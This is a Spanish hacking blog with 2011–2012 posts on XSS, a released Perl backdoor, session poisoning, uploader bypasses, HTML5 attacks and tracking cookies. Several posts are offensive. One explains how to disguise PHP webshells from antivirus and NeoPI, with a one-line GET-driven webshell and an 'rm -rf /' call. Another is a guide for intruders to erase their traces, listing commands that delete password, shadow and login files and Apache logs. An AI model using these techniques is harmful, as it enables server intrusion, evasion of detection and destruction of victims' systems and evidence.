0V3RL04D 1N TH3 N3T

Root Codes

2012-01-25T10:30:00.003+01:00

¡Saludos!

Escribo esta entrada para dar a conocer la web Root Codes de mi amigo @0x5d (JaAvier). En ella podremos encontrar sources, tutoriales y libros (todo orientado a la programación). Además nos permite mandar nuestros propios programas para que sean publicados allí.

Backfos v0.3 [A perl backdoor]

2012-01-12T01:52:00.002+01:00

¡Saludos!

Hechando un vistazo en mi discoduro externo me he encontrado con una carpeta donde fuí metiendo distintas herramientas que estuve creando cuando los miembros del FoS Team estaban activos.

La versión que publiqué fue la v0.2 y es la que podeis encontrar en varios foros y comunidades, pero en la mencionada carpeta encontré una v0.3 que en teoría te mostraba los rootexploits a los que era vulnerable la versión del kernel del servidor donde lo ejecutabas, por lo que tenía un gran interés.

No la he vuelto a probar, por lo que no sé si es funcional, confirmadmelo en los comentarios.

Source => BackFoS v0.3

HotWords hace tu foro vulnerable

2012-01-06T15:41:00.006+01:00

¡Saludos!

Estos últimos días encontré casi por error un XSS en Foro PortalHacker. Al moderar la sección de "Seguridad Web" me encontré con que en algunos posts los tags HTML eran incluidos tal cual, sin filtrado alguno, por lo que éstos eran interpretados por el navegador. Este hecho me extrañó bastante en tanto que el foro es SMF, y en las versiones anteriores no me había encontrado con esta vulnerabilidad.

Empecé a investigar un poco más y me topé con que este hecho no se daba en todos los posts, sino que únicamente aparecía en aquellos donde había publicidad (apenas unos días antes se había incluido para poder cubrir gastos, sin aviso alguno al staff), y únicamente cuando el tag HTML estaba cerca de una palabra reseñada con publicidad.

Asi que empecé a hacer pruebas como loco, y a la conclusión que llegué es que SMF realiza el filtrado de la forma correcta, convirtiendo < en < pero posteriormente cuando HotWords incluye la publicidad, transforma < en < y por tanto quedan como tags HTML.

Habiendo encontrado cómo actuaba, sólo me quedaba encontrar una forma de explotarlo 100% efectiva. Para tal fin, lo que había que hacer era crear un post en el cual incluimos alguna de las palabras que solía reseñar con publicidad, como "web", "video" o "bueno", y posteriormente editar el post para colocar junto a la palabra reseñada el exploit (<img src="." onerror="alert(8);">).

Otro método alternativo para que HotWords bypasseara el filtro anti-XSS de SMF fue encontrado por @0x5d, y consistía en crear un post con: <img src="." onerror="alert(8)" alt="bueno">.

Actualmente se ha eliminado hotWords del foro, por lo que no es vulnerable ya.

Megaupload y los DNS

2011-11-29T23:09:00.001+01:00

Parece que algunos que usamos ciertos DNS tenemos problemas con megaupload como vemos en noticias como:
-> http://www.fayerwayer.com/2011/11/confiscacion-de-dominio-vuelve-inaccesible-a-megaupload

Una solución para esto es cambiar nuestros DNS por los de openDNS (por poner un ejemplo) con los que si que funciona:

208.67.222.222 / 208.67.220.220

La otra forma de acceder es no utilizar un servidor dns y acceder mediante IP. Veamos mediante que ips podemos acceder a megaupload:

[alpha@alpha-pc ~]$ nslookup www.megaupload.com
Server:        208.67.222.222
Address:    208.67.222.222#53

Non-authoritative answer:
Name:    www.megaupload.com
Address: 174.140.154.20
Name:    www.megaupload.com
Address: 174.140.154.21
Name:    www.megaupload.com
Address: 174.140.154.22
Name:    www.megaupload.com
Address: 174.140.154.23
Name:    www.megaupload.com
Address: 174.140.154.24
Name:    www.megaupload.com
Address: 174.140.154.12
Name:    www.megaupload.com
Address: 174.140.154.13
Name:    www.megaupload.com
Address: 174.140.154.14
Name:    www.megaupload.com
Address: 174.140.154.15

Cualquiera de las ips mostradas con nslookup nos llevará a www.megaupload.com.

Si ahora queremos acceder a un archivo, podemos hacerlo concatenando una de las IPs obtenidas antes junto con la url de megaupload quitando la parte de "www.megaupload.com".

Con ejemplos se ve más claro:

Si tenemos la url -> http://www.megaupload.com/?d=ES4KXK52

su equivalente seria -> http://174.140.154.15/?d=ES4KXK52

es decir -> 174.140.154.15 + ~~http://www.megaupload.com~~/?d=ES4KXK52

174.140.154.15/?d=ES4KXK52

Con una de estas dos posibilidades podemos salir al paso y continuar teniendo acceder a megaupload mientras se soluciona este contratiempo.

Actualización:
Como ha comentado un usuario en otro blog donde había publicado el post al pulsar el botón de descarga nos daba un error de que la pagina no existía. Esto sucede porque megaupload utiliza otra url para descargar los archivo, ahora veremos como lo solucionamos:

Una vez nos aparezca el botón de descargar si ponemos el cursor sobre el veremos que la url cambia a www122.megaupload.com con lo al realizar un nslookup sobre la dirección vemos una ip distinta a las anteriores:

[alpha@alpha-pc ~]$ nslookup www122.megaupload.com
Server:        208.67.222.222
Address:    208.67.222.222#53

Non-authoritative answer:
Name:    www122.megaupload.com
Address: 95.211.95.67

Con esta información pulsamos sobre el botón de descarga y nos saldrá un error, que siguiendo con el ejemplo anterior sería:

http://www122.megaupload.com/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf

entonces realizaremos el mismo proceso que antes:

Si tenemos la url -> http://www122.megaupload.com/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf

su equivalente seria -> http://95.211.95.67/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf

es decir -> 95.211.95.67 + ~~http://www122.megaupload.com~~/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf

http://95.211.95.67/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf

Con todo esto ya deberíamos poder descargar sin problemas ;)

Un saludo

Aetsu

Paper #breaking80211

2011-11-23T01:32:00.001+01:00

Buenas, soy Aetsu y a partir de ahora escribiré, si mi tiempo me lo permite, algunos post sobre temas de seguridad, redes, GNU/Linux o programación.

Solo queda agradecer a The X-C3LL que me permita participar en el blog y aquí os dejo mi último paper, #breaking80211:

#breaking80211

by Aetsu

--- Contenido ---

[+] Introducción

[+] Materiales/Herramientas utilizados

[+] Conceptos básicos

[-] Cambiar dirección MAC
[-] Modo monitor

[+] Cifrado WEP
[-] Ataque 1+3
[-] Ataque Chop Chop
[-] Ataque fragmentación
[-] Hirte Attack
[-] Caffe Late Attack

[+] Cifrado WPA
[-] Obteniendo el handshake
[-] Obteniendo la contraseña: Aircrack-ng
[-] Obteniendo la contraseña: coWPAtty
[-] Obteniendo la contraseña: Pyrit
[-] Obteniendo la contraseña: Rainbow Tables
[-] Rainbow Tables -> coWPAtty
[-] Rainbow Tables -> Pyrit

[+] Otras defensas
[-] Filtrado MAC
[-] Ataque de desasociación
[-] ESSID oculto

[+] Descifrar capturas
[-] Airdecap-ng + WEP
[-] Airdecap-ng + WPA

[+] Ataques sociales -- Creación de puntos de acceso
[-] Airbase-ng + brctl
[-] Airbase-ng + iptables

[+] Ataque sociales -- Ataques en LAN
[-] DNS-spoofing con Ettercap y Metasploit
[-] S.E.T.

[+] Ataques sociales -- Todo en uno
[-] Karmetasploit

[+] Documentación

[+] Enlace megaupload: -- DESCARGAR --

[+] Enlace a exploit-db: -- DESCARGAR --

[+] Enlace scribd: -- LEER ON-LINE --

Un saludo y hasta la próxima ;)

Indetectando webshells y backdoors

2011-11-22T23:46:00.007+01:00

¡Saludos!

En los últimos años la cantidad de "defaces" se ha incrementado bastante, por lo que no es de extrañar que estén apareciendo cada vez más herramientas dedicadas a la detección de webshells y backdoors -como NeoPI-, que junto a los AVs, intentan limpiar los servidores.

La primera línea de detección de los AVs y las herramientas orientadas a WSD (WebShell Detection) está basada en firmas. Un método de detección bastante simple y extendido es el de uso de checksums a modo de firma, que consiste en comparar los hashes de los archivos del servidor con los existentes en una lista negra. En dicha lista se encuentran los checksums de backdoors y webshells de los que ya tienen constancia las compañías de AVs. Esta técnica de detección es fácilmente evadible, puesto que añadiendo un comentario en el source se modificaría radicalmente su checksum y ya no sería detectado.

La detección de firmas suele ir más allá, tratando de encontrar nombres de funciones declaradas dentro de la propia webshell, o incluso trozos de código que sean típico. Este método puede surtir efecto en aquellas shells "clásicas" (como la C99, por ejemplo) a partir de las cuales se han ido distribuyendo distintas versiones con pequeñas modificaciones del código, pero que en esencia las funciones propias siguen manteniendo los mismos nombres, o incluso grandes porciones del código, por lo que la detección es inmediata.

En estos casos lo más fácil para que pase desapercibida es modificar los nombres de todas las funciones, reordenar el código y alterar la sección del HTML que "maquetará" a la shell.

Por supuesto que el uso de listas negras de funciones sospechosas (como system, o base64_decode) es otro método clásico para detectar archivos maliciosos. Para utilizar estas funciones y pasar desapercibido podemos hacer uso de las funciones variables -cuando una variable tenga "()" al final, PHP buscará una función con el mismo nombre- :

$a = 'sys'.'tem';
$a('rm -rf /');

Incluso podemos ir más allá y tomar la función desde variables de tipo GET (u otras variables como user-agent y similares):

<?php
echo $_GET[2]($_GET[1]);
?>

Pero las herramientas de WSD no se quedan aquí, sino que también implementan otros conceptos curiosos para detectar shells ofuscadas. Un claro ejemplo es NeoPI, que busca dentro de los archivos cadenas largas de caracteres, puesto que son típicas de los códigos ofuscados. La idea en inicio es buena, pero yerra porque son varias las funciones que al pasarle un string eliminan los espacios que contenga. Un ejemplo es base64_decode: si le metemos una cadena en base64 donde cada pocos caracteres aparece un espacio, ésta va a ser leída perfectamente.

Además NeoPI también detecta archivos con una entropía muy alta, por lo que si añadimos espacios entre cada carácter de la cadena ofuscada con base64, la entropía descenderá y pasará desapercibido.

PD: el bypassing a NeoPI estan sacadas de este post de Seth donde podreis encontrar un ejemplo de una shell 100% invisible para esta herramienta.

Trazabilidad de un usuario

2011-10-20T16:12:00.003+02:00

¡Saludos!

El tema de la trazabilidad ha sido largamente discutido en los últimos años debido en parte a las polémicas con la geolocalización, las cookies de seguimiento procedentes de terceros, las supercookies con Local Storage (y en general todo lo que engloba el proyecto evercookie).

El funcionamiento genérico del seguimiento consiste en colocar en distintos dominios scripts que generen un identificador único para cada usuario que visita ese dominio, permitiendo que cuando este usuario visite otro dominio se le pueda reconocer perfectamente. Se puede ver en el siguiente esquema (Long live to Paint!):

1) El usuario visita una web, y al hacerlo se manda una petición a un tercero (empresa de seguimiento) el cual genera un identificador.

2) El identificador es almacenado de forma local en el usuario, en forma de cookie por ejemplo.

3) Cuando ese usuario visita otros dominios que están en relación con la empresa de seguimiento, éste le está enviando su identificación, por lo que pueden tener una relación de páginas visitadas, asiduidad, rutinas, etc. que podrá ser sometidas a un proceso de data mining.

Poco más o menos así es como funcionan en líneas generales. Hasta ahora los esfuerzos por identificar a un usuario para poder controlar sus rutinas han ido encaminados en buscar la permanencia del identificador dentro del navegador del usuario. Pero... ¿por qué no identificar los usuarios por las configuraciones de sus navegadores? Es decir, hacer fingerprinting al navegador para poder identificarlo de forma única.

Existe numerosa información que se puede extraer de un navegador y que sirve para poder cercar y trazar a un usuario en concreto. El idioma, la zona horaria, el user-agent, el SO... son claros ejemplos de datos que se pueden obtener fácilmente y que nos ayudarían a poder identificar el país desde el que se conecta esa persona. Además, cosas más triviales como las fuentes instaladas (dependiendo de qué programas hayamos instalado éstas variaran), la resolución de la pantalla, o los plug-ins activos también son útiles para reducir la incertidumbre.

Un proyecto muy interesante que aborda esta idea es PanoptiClick donde se realiza un análisis bastante exahustivo de las características de nuestro navegador:

Por supuesto que mucha de la información que emplea puede llegar a ser spoofeable, pero es muy complejo llegar a ocultar absolutamente toda esta info y no dejar huella alguna.

Variables Superglobales que deberías de vigilar (II)

2011-10-14T10:44:00.004+02:00

¡Saludos!

Hoy vuelvo a escaparme de mi rutina universitaria para hablar un poco más de esas variables que cuando pueden ser vector de ataque. El otro día traté de escribir un poco sobre las variables superglobales $_SERVER[] , hoy vamos a hablar de $_SESSION[] y sus implicaciones en los servidores compartidos entre varios dominios.

$_SESSION es un array donde los programadores suelen incluir datos como las preferencias en la navegación del usuario (theme que usa, idioma, etc.) y que queda guardado en un archivo con el nombre "sess_%SESSION%", siendo session el identificador asignado a tu sesión (lo que habitualmente es enviado en la cookie, y que suele ser PHPSESSID).

Si la aplicación permite al usuario que navega asignar un valor a al array $_SESSION, éste podría incluir algún código malicioso que pudiese aprovechar alguna vulnerabilidad. Por ejemplo se podría utilizar para inyectar shells y explotar un LFI como ya publiqué hace años.

Es lógico pensar que si a este array no se le asignase ningún valor enviado por el usuario no existe la posibilidad de que inyecten código malicioso. Pero no tiene porqué ser así }:D

Los archivos que almacenan las variables asignadas a cada sesión en los dominios compartidos a veces podemos encontrarlos en un mismo directorio para todos esos dominios. Es decir, que un mismo directorio podemos encontrarnos con las sesiones del Dominio A, Dominio B, y del Dominio C. Esto es un gran problema (para el cual existen contramedidas, pero que son bypasseables -dejo un link al final bastante interesante sobre el tema-) puesto que se puede cambiar de sesiones entre los dominios.

De esta forma si alguien consigue tener un usuario en ese servidor podría llegar a spoofear las variables asignadas en otro dominio, o incluir en ellas código malicioso. El caso más común es el de buscar qué dominios están asignados al mismo servidor que el atacante quiere comprometer, tratar de comprometer uno de esos dominios vecinos y desde ahí lanzar el ataque.

Un pequeño PoC (sacado de haxxor security):
(esta sería la aplicación a atacar en el dominio A)

// Starting the session
session_start();

// ...

if(isset($_SESSION['theme']){
include('themes/'.$_SESSION['theme'].'.php');
}else{
include('themes/default.php');
}

Y este sería el exploit ejecutado en el dominio B:

// Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
// Start the session
session_start();
// Spoof a variable
$_SESSION['theme'] = '../../../../mallroy/public_html/shell';
// Close the session
session_write_close();

Para más info: Local Session Poisoning in PHP

Variables Superglobales que deberías vigilar (I)

2011-10-09T12:53:00.004+02:00

Saludos,

Tengo el blog (y en general todo lo que es el internet) bastante abandonado por el tema de la universidad que me está absorbiendo demasiado. Aun así os pido disculpas y trataré de ir sacando algún que otro post rápido, como el de hoy.

Normalmente cuando un desarrollador crea una aplicación web en PHP, e intenta securizarla un poco, siempre aplica alguna clase de filtro a las variables que puedan ser manipuladas desde el lado del cliente. También los IDS hacen esto, analizando/filtrando aquellas variables que puedan ser manipuladas maliciosamente: $_GET, $_POST, $_COOKIE y $_REQUEST. Pero... ¿sólamente éstas son manipulables? La respuesta es NO. Existen otras variables que deberíamos de vigilar, como es el caso de $_SERVER y $_SESSION. Hoy veremos un poco de $_SERVER y el próximo día que pueda postear de $_SESSION.

$_SERVER es un array que contiene la información procedente de las cabeceras, así como la ruta de archivos. Los dos ejemplos más clásicos son los XSS (y SQLi) aplicados a PHP_SELF y X-FORWARDED-FOR. La primera variable hace referencia al script que se está ejecutando en relación con el directorio raíz, siendo explotable de esta forma por ejemplo:

www.ejemplo.com/<script>alert(/0verl0ad/)</script>

Por otro lado X-FORWARDED-FOR es utilizado por los proxys para indicar la IP de origen, por lo que suele tener interés para hacer spoofing, aunque últimamente con los sitios de estadísticas y de los que muestran tu propia IP y la geolocalizan, etc. suele emplearse más para inyectar código malicioso (JavaScript o inyecciones de otro tipo).

Al igual que con estas dos variables, existen otras tantas dentro del array de $_SERVER que pueden ser explotadas si son empleadas en el script sin sanitizarlas previamente:

<?php
echo $_SERVER['SERVER_PROTOCOL'];
?>

Si lanzamos una petición corrompida:

GET /p.php <script>alert(8)</script>
Host: ------

HTTP/1.1 200 OK
Date: Sun, 09 Oct 2011 10:59:52 GMT
Server: Apache/2.2.17 (Win32) PHP/5.3.6
X-Powered-By: PHP/5.3.6
Content-Length: 25
Connection: close
Content-Type: text/html

<script>alert(8)</script>

Ya sé que tiene poca chicha esta entrada, espero que la de $_SESSIONS sea más relevante.

Parches para SMF

2011-09-21T01:38:00.004+02:00

¡Saludos!

Esta noche al conectarme a twitter me he encontrado con un enlace a una publicación de DaboWeb anunciando parches de seguridad para SMF. Echando un ojo al changelog aparece la vulnerabilidad que habíamos reportado por Julio, y que tras ninguna respuesta liberemos en el blog SMF 2.0 Hijacking. Ahora, casi 3 meses después, lo han reparado, por lo que ya no lo consideraemos como un 0-day.

Gracias a los desarrolladores de SMF que se han entretenido en subsanar esta vulnerabilidad, puesto que no ha sido la primera vez que (por lo menos por mi parte) hemos reportado algun fallo de seguridad y nos han ignorado totalmente.

Y por supuesto gracias a Seth, que descubrió otro vector para explotar la vulnerabilidad (y codeó el exploit).

HTML5 [VI]: Drag'n'Drop attacks

2011-09-20T12:38:00.004+02:00

¡Saludos!

El otro día publiqué las slides de Rosario Valotta sobre el "CookieJacking". En la presentación utilizaba la técnica de Drag'n'Drop para que la víctima enviase la cookie al atacante, asi que hoy voy a hacer un post explicando cómo funciona este vector.

¿Qué es Drag'n'Drop? Cuando nos referimos a este vocablo hacemos referencia a aquellos mecanismos de arrastrar un objeto y dejarlo en otro punto (p.e. cuando arrastramos un icono del escritorio y lo colocamos en otro punto). Actualmente con HTML5 se ha incluido esta función, siendo fácil su implementación:

Si lo testeais, podreis comprobar que el texto "Test Drag and Drop" se puede coger con el ratón y ser arrastrado hasta el input, que al ser soltado el ratón, quedará rellenado con ese texto. Pero no siempre lo que creemos arrastrar es lo que realmente arrastramos };D

<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','¡Odio Twitter');">
<h1>¡Me gusta Twitter!</h1>
</div>
<br><input type="text" />

Como podeis ver pese a que creemos que estamos arrastrando el texto "¡Me gusta Twitter!", en realidad lo que arrastramos es "¡Odio Twitter!". De esta forma un usuario común pasaría por alto el engaño, sin percatarse de lo que ocurre. Esto es útil en el momento de ocultar el ataque, puesto que puede usarse otros pretextos más atractivos (como juegos atractivos, o puzzles con ¡TETAS!, nunca fallan) para que el usuario haga Drag'n'Drop (no debemos perder de vista de que es necesaria la interacción directa por parte del usuario).

Pero lo interesante de este vector no es esto, lo interesante es la posibilidad de bypassear SOP (Same Policy Origin). En síntesis SOP implica que los scripts ejecutados desde el lado del navegador (como JavaScript, por ejemplo) se apliquen únicamente al dominio de origen y no a otros, por lo que es bastante importante desde el punto de vista de la seguridad. La solución para evitar las restricciones SOP es utilizar un iframe, y hacer que el usuario haga "drop" sobre éste:

<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','0verl0ad.blogspot.com');">
<h1>Proof of Concept</h1>
</div>
<iframe src="http://google.com">
</iframe>

El texto "0verl0ad.blogspot.com" es mandado al iframe que apunta a Google, y se ejecuta la búsqueda.

En definitiva este puede ser un vector interesante para explotar determinadas vulnerabilidades, como ya lo demostró Rosario Valotta y 0-day de IE. El problema que tiene esta técnica es la necesidad de interacción por parte del usuario (como cualquier otro ataque de clickjacking) y ello conlleva a tratar de camuflar los exploits en forma de aplicaciones atractivas, como juegos o puzzles, para que el usuario haga Drag'n'Drop

Retos SQLi

2011-09-17T12:20:00.002+02:00

Saludos,

Nuestro compañero Seth ha habilitado una web de prácticas vulnerable a SQLi. Existen diferentes niveles de dificultad, por lo que casi todo el mundo podría resolver al menos uno de ellos.

Si quereis intentarlo aquí os dejo la web => ¡¡Practica inyecciones SQL!!

Cookiejacking, 0-day de IE y Rosario Valotta

2011-09-15T00:51:00.000+02:00

Saludos,

Hacía ya tiempo le estaba siguiendo el rastro a este tema, el del cookiejacking (robo , o "apropiación" como diría Grey, de cookies de sesión a través de UI Redressing), a partir de un enlace de Rosario Valotta que me mandó Seth en Mayo o Junio, no recuerdo bien, donde hablaba del 0-day de IE y su explotación mediante Drag-and-drop. El caso es que me he encontrado con la presentación que hizo en la Swiss Cyber Storm de este año y me ha encantando por varios motivos, entre el que destaco la imaginación e ingenio que aplica para ir sorteando cada obstáculo con el que se encuentra.

Presentación PDF => https://www.hacking-lab.com/nina/?wicket:interface=:1:articleContainer:downloadContainer:filelink::ILinkListener::

Video de la presentación => http://www.youtube.com/watch?v=VsSkcnIFCxM

HTML5 [V]: Autofocus + onblur = Phising (Tabnapping)

2011-09-11T17:46:00.006+02:00

Saludos,

Estuve echando un ojo al episodio 8 de MundoHackerTV cuando me encontré con un PoC en el cual usaban para averiguar qué páginas habían sido visitados algo que ya comenté hace un par de años, CSS History Hack. Este ataque los navegadores modernos ya lo bloquean, por lo que me da la sensación de que en esa demostración utilizaban algún navegador desactualizado. He intentado diferentes ideas para tratar de averiguar si un enlace había sido visitado, como la que menciono en el link que he dejado más arriba no pude hacerla funcionar intenté usar JavaScript para detectar un cambio de color en el link usando getComputerStyle pero tampoco resultó: al sacar el RGB de todos los links siempre tenía el mismo color, fuese o no visitado (aunque al visualizarlo en el navegador tuvieran diferentes colores), por lo que deduzco que discriminar entre visitado/no visitado es imposible actualmente Si alguien tiene info actualizada que deje un comentario.

Mencioné al principio la demostración de MundoHackerTV, pero no he explicado en qué consistía. La idea era entrar a una web, y al cambiar de pestaña en el navegador, esta web hiciera una redirección hacia un scamer de alguna web en que el usuario suela visitar (de ahí lo del CSS Hack History). La idea es que ciertas webs se suelen mantener abiertas, como las redes sociales, mientras que estamos navegando por otras pestañas. Al haber varias pestañas, existe la posibilidad de que el usuario se confunda y crea que el scam es la web original y deja allí sus datos. Para entenderlo mejor echad un vistazo al capitulo.

El PoC más simple que se me ha ocurrido (omitiendo la parte en que detecta si ha visitado facebook, que ya he explicado porqué no la he incluido) es el siguiente:

Para detectar si el usuario ha cambiado de pestaña usamos el evento onblur, que se disparará cuando se piera el foco en el elemento input. Al cambiar de pestaña, se pierde el foco y se disparará la redirección (en este caso google.com). Además, para que todo funcione, utilizo autofocus en el input, ya que de esta forma el foco se colocará directamente en el input y no hará falta de que el usuario haga click en él.

Me han informado via twitter de que esta técnica de phising se la denomina "tabnapping", asi que edito el título del post.

0verBypass.pl : herramienta para auditar uploaders

2011-08-29T03:23:00.004+02:00

Saludos!

Hace un par de días escribí un post, a modo de chuleta, para tener reunidas las técnicas más comunes para poder saltarse las restricciones de los uploaders, y de esta forma poder subir archivos con extensiones no permitidas (como PHP por ejemplo). En ese mismo post Seth me comentó que hiciera alguna herramienta que automatizara un poco esto, asi que me puse a codear algo para auditar. La herramienta está todavía pendiente de perfeccionarse, ya que tengo pensado añadir más opciones (por ahora sólo puede testear de 5 formas diferentes, que son suficientes pero cuantas más añada mejor), y además quiero permitir la subida de una shell desde un archivo.

El código se puede depurar bastante, aunque usando subrutinas he conseguido simplificar bastante el primer esbozo que había hecho, asi que admito sugerencias para simplificarlo aun más.

Source de la herramienta [Click Aquí]

Quiero aclarar que, además de las 5 técnicas para realizar el bypass que puedes seleccionar, subo los archivos con las extensiones alternando en mayúsculas/minúsculas (para saltar filtros case sensitive con listas negras de palabras) y intento camuflar la shell como una imagen .gif añadiendo al inicio el header GIF89a y poniendo como Content-Type image/gif.

Insecure Cookie Handling

2011-08-26T05:58:00.004+02:00

Saludos!

El manejo de las cookies de forma insegura es algo muchisimo más común de lo que se piensa. Cuando hablo de "manejo inseguro" me refiero tanto a que las cookies pueden contener una información sensible en sí misma, o que las aplicaciones web utilizan las cookies sin tomar en cuenta aspectos básicos de seguridad.

El caso más conocido por todos es el de las cookies predecibles, como lo son Admin=1, usr=admin, User=1, etc. Normalmente las aplicaciones vulnerables suelen contar con un checkeo de la cookie bastante rudimentario basado en una simple comparación tipo:

if ( isset($_COOKIE['id']) && $_COOKIE['id'] == 1 )

Suponiendo que ese código fuese la comprobación de seguridad para acceder al panel de administración, podemos ver que podría bypassearse creando una cookie llamada id y de valor 1. En otros casos no es tan fácil de darse cuenta de que es un manejo inseguro porque el valor de la cookie está "camuflado"

En estos casos lo que requiere la explotación es tener imaginación y hacer pruebas hasta encontrar un patrón:



...

$cookie = $usuario . rand(0,10);

$cookie = base64_encode($cookie);

...

En este caso la cookie aparecería en base64 y además variaría por los números random generados, pero como podemos darnos cuenta hay muy poca entropía, por lo que sería fácil dar con una cookie existente y usurpar a un usuario.

Pero este fallo de seguridad no sólo puede utilizarse para escalar privilegios sino que también puede aparecer en otros sitios, como tiendas online, por poner un ejemplo, donde el precio de los productos adquiridos queden almacenados en la cookie y después use esos datos para realizar la factura (puede sonar rocambolesco pero os aseguro que por ahí ví el reporte de una vulnerabilidad similar).

Para realizar un ataque de fuerza bruta con atributos y valores de cookies well-known y tratar de escalar de esta forma privilegios Seth codeó una herramienta en JavaScript para GreasyMonkey que podeis ver aquí: CHPMEGAC00KIEH4X . Actualmente si quereis echar una mano con su proyecto podeis mandarle más pares atributo/valor de cookies para que las añada al diccionario.

CheatSheet to bypass uploaders

2011-08-25T06:06:00.003+02:00

1. Escribir la extensión del archivo alternando mayúsculas/minúsculas (.pHp, .PHp, .pHP...)
2. Uso de extensiones menos conocidas (.php5..)
3. Doble extensión (.jpeg.php)
4. Mandar una cabecera HTTP con el MIME type modificado por uno que admita (image/gif, image/JPEG)
5. Incluir al inicio del archivo la cabecera de una extensión permitida (GIF89a)
6. Añadir al final del nombre del archivo espacios y/o puntos (shell.php ... ......)
7. Usar null bytes
8. Incluir caracteres extraños (";", "&", "[" => shell.php;jpeg)
9. Bypass getimagesize() => Incluir la shell dentro de los metadatos de una imagen real (usando 0verLFI) y después modificar el MIME type
10. Abuso de la normalización de rutas (shell.php/./././[...])
11. Subida de un .htaccess que cambie las extensiones de los archivos ( ForceType application/x-httpd-php )

Estas son las que se me vienen ahora a la cabeza, si a alguien se le ocurre alguna más que la postee en los comentarios.

PHP File Path Injection

2011-08-25T05:10:00.002+02:00

Saludos,

Ya había leído algo de esto por Twitter y quería haber escrito algo pero se me pasó. Hoy he estado echando un ojo por Security Focus y lo he vuelto a encontrar así que me dispongo a explicar brevemente de que se trata.

La vulnerabilidad (CVE-2011-2202) permite a un atacante crear archivos en root (/) al realizar la subida de un archivo en cualquier directorio. Esto es debido a que en PHP permite que el nombre de los archivos empiecen por / o \. De esta forma es posible subir un archivo poniendo como filename /loquesea. Por supuesto que es necesario primero tener los permisos de escritura adecuados.

El exploit es tan simple como subir el archivo con la respectiva "/" o "\". Las versiones afectadas son =<5.3.6

HTML5 [IV]: Local Storage y las cookies zombis (o supercookies)

2011-08-22T03:48:00.005+02:00

Saludos!

Empiezo a escribir este post haciendo tiempo para que empiece Mundo Hacker TV (aunque lo terminaré después del programa), lo recomiendo si no haces nada más interesante a estas horas (quien me diría a mí que alguna vez promocionaría algo emitido por Telecinco).

En otra ocasión, hace apenas unos meses, ya comenté algo sobre las cookies zombis, hablando bastante someramente de qué se trataba y recomiendé la API para JavaScript "Evercookie". Ahora vuelvo a retomar el tema porque recientemente ha saltado la liebre con las cookies de seguimiento zombis que usaban KissMetrics y Hulu (no voy a entrar en detalles, hay cientos de webs hablando del caso). A esto se le suma toda la parafernalia de HTML5 y la seguridad, cosa que me está gustando bastante indagar (gracias a Seth y a @Franjoespejo que me están cebando a publicaciones interesantes).

Entrando ya en materia quizás lo primero que debemos de saber es... ¿Qué diablos es eso de Local Storage que han metido con HTML5? Pues la respuesta es sencilla: almacenar información desde el lado del cliente para agilizar la carga de páginas y similares. Presenta ciertas ventajas sobre las cookies de toda la vida, como pueda ser sus 5 Mb de capacidad de almacenamiento, o el tiempo de permanencia.

El concepto base de las cookies zombis es poder respawnear la cookie, utilizando información almacenada en el cliente. De esta forma, en el caso de las empresas de tracking por ejemplo, pueden asignar un identificador a un usuario (una cookie HTTP) para realizar estudios de comportamiento, y además guardar "copias" de dicho identificador en el ordenador del usuario. Cuando el usuario borre la cookie, ésta volvera a ser creada utilizando como molde las copias escondidas. Creo que se entenderá mejor con una sencilla prueba de concepto:

<----Web_original.html------->



<script>

localStorage.setItem("Foo", "Foo=0verl0ad;expires=Thu, 2 Aug 2020 20:47:11 UTC;");

document.cookie = localStorage.getItem("Foo");

</script>

<----Respawner.html----->



<script>

document.cookie = localStorage.getItem("Foo");

alert(document.cookie);

</script>

Primero entramos en Web_Original.html, vemos en nuestro navegador (el PoC lo he ejecutado en Firefox 6.0, si a alguien no le funca que lo ponga en los comentarios) que la cookie se ha creado, y procedemos a borrarla. Ahora vayamos a Respawner.html y... ¡Tachan! ¡Ha vuelto a la vida!

Nuestro primer archivo HTML hace dos cosas: por un lado crea la cookie, y por otro crea una copia valiéndose de Local Storage. Después, cuando borramos la cookie y vamos a Respawner.html volvemos a crear la cookie con la copia que ya teníamos almacenada. Esto mismo pero almacenando la información en muchos más sitios es lo que hacía evercookie.

Ahora bien, el cómo implementan este concepto las grandes empresas de seguimiento es algo que descozco y que supongo que cada empresa mantendrá esto en secreto. En líneas generales supongo que cada vez que se entre en un sitio controlado por una de estas empresas se comprobará si existe una cookie, de no existir se buscará entre el registro de Local Storage para respawnearla, y si tampoco hay nada allí crearán una de nuevo.

Está claro que Local Storage va a traer más de un quebradero de cabeza al unirse con otras técnicas como puedan ser XSS o SQLi, pero es tema para otro post.

PD: entre unas cosas y otras he terminado a las 5:50 am, probáblemente haya metido la pata en alguna parte, si es así avisadme.

Eliminación de huellas

2011-08-19T13:28:00.002+02:00

Existen tantos tipos de huellas, como tipos de ataques realizados.

Lo primero que hay que tener en cuenta, es qué hicimos, y como nos pueden cojer.

Para entrar a robar a una casa, puede tirarse la puerta a patadas, utilizar una palanca (Fuerza Bruta), Ganzuas... En el primer caso hay que recomponer la puerta, en el seguro repararla, en el tercero, deshacerse de las ganzuas.
Esto no implica que no queden otros rastros.

Existen muchos tipos de herramientas, backdoors, sniffers para capturar datos, logs de acceso de Apache u otros servicios (daemons)...

Muchos "Hackers" se limitan a eliminar los access_logs del apache, destruir webshells y backdoors, y root exploit's (Lo cual olvidé en mi último relato, por lo que supieron de la actividad, aunque no conocen su autor), y la cosa no es así.

Si creamos un usuario, no bastaría con eliminar la cuenta... ¿Cómo creaste el usuario? ¿Mediante comandos?

El fin de esta guía no es realizar el ataque perfecto, sino más bien una orientación.
Existen multitud de herramientas, tales como Zappers que afirman eliminar todo rastro... Cuando esto no es así.

Daremos un repaso por los medios más utilizados.

A) Destrucción del sistema
A-1) Esto ocurre cuando la evidencia es tal, que no queda otro remedio.

La forma más común, almenos en mi caso, seria inhabilitar el login, y causar un tal destrozo que el único medio sea la destrucción total o parcial. He aquí algunos comandos de interés:
rm /etc/passwd
rm /etc/shadow
rm /bin/login
rm /bin/rm
rm /etc/inetd.conf
killall login

B) Capturando y eliminando los access log de Apache.
B-1) Esta opción solo es viable si únicamente realizaste un ataque a nivel Web, por ejemplo, una Webshell

Los directorios más comunes son:
apache/logs/error.log
apache/logs/access.log
